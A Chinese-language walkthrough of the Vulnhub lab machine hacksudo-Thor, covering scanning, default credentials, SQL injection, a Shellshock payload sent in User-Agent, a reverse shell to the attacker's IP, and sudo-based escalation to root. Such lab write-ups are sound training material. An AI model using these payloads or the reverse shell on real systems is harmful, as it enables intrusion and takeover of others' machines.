Vulnhub靶机:hacksudo-Thor

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-Thor(10.0.2.49)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo—Thor.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.49

Vulnhub靶机:hacksudo-Thor_第1张图片

使用nmap端口扫描发现,靶机开放端口:21、22、80

Vulnhub靶机:hacksudo-Thor_第2张图片

打开网站发现是一个登录页面

Vulnhub靶机:hacksudo-Thor_第3张图片

使用gobuster和dirsearch工具对该网站进行目录爆破,发现两个页面/admin_login.php、/README.md

gobuster dir -u http://10.0.2.49 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.49 /usr/share/wordlists/dirb/big.txt

Vulnhub靶机:hacksudo-Thor_第4张图片
Vulnhub靶机:hacksudo-Thor_第5张图片

/README.md文件发现默认用户名密码:admin:password123

在这里插入图片描述

我们尝试登录后台,登录成功

Vulnhub靶机:hacksudo-Thor_第6张图片

三、漏洞利用

在后台发现一些用户名密码,可以尝试登录ssh,但都失败

jon:snow123
zakee94:nafees123
salman:salman123
tushar:tushar123

网站的后台未发现文件上传或命令执行的功能点,尝试抓包,使用sqlmap把数据交互的地方都跑一遍,发现在搜索客户的功能点处存在sql时间盲注

Vulnhub靶机:hacksudo-Thor_第7张图片
Vulnhub靶机:hacksudo-Thor_第8张图片

但翻了一翻数据库未发现什么有用的信息

好吧,看了一下其他大佬的wp,该网站存在破壳漏洞,这个漏洞还没有遇到过

破壳漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等。

使用dirsearch工具扫描cgi和sh后缀的文件

dirsearch -u http://10.0.2.49/cgi-bin/ -f -e cgi,sh

在这里插入图片描述

发现/cgi-bin/backup.cgi/cgi-bin/shell.sh

使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.49

Vulnhub靶机:hacksudo-Thor_第9张图片

使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.49

Vulnhub靶机:hacksudo-Thor_第10张图片

在User-Agent添加破壳漏洞的payload,执行命令

() { test;};echo; echo shellshock;/bin/bash -c 'id'

Vulnhub靶机:hacksudo-Thor_第11张图片

反弹shell

() { test;};echo; echo shellshock;/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

Vulnhub靶机:hacksudo-Thor_第12张图片

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以thor权限运行hammer.sh脚本Vulnhub靶机:hacksudo-Thor_第13张图片

运行/home/thor/./hammer.sh脚本,发现输入shell命令,该脚本会直接执行

sudo -u thor /home/thor/./hammer.sh

Vulnhub靶机:hacksudo-Thor_第14张图片

直接获取thor用户的shell

bash -p
python -c 'import pty; pty.spawn("/bin/bash")'

Vulnhub靶机:hacksudo-Thor_第15张图片

使用sudo -l命令查看一下thor用户具有sudo权限的程序,发现可以无密码以root权限运行cat命令和service命令

Vulnhub靶机:hacksudo-Thor_第16张图片

搜索这些命令的用法service | GTFOBins,发现service命令可以直接获取shell

sudo service ../../bin/sh

Vulnhub靶机:hacksudo-Thor_第17张图片

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:vulnhub靶场-hacksudo - Thor_靶机信息:39.104.60.50:18634-CSDN博客

你可能感兴趣的:(靶场,web安全)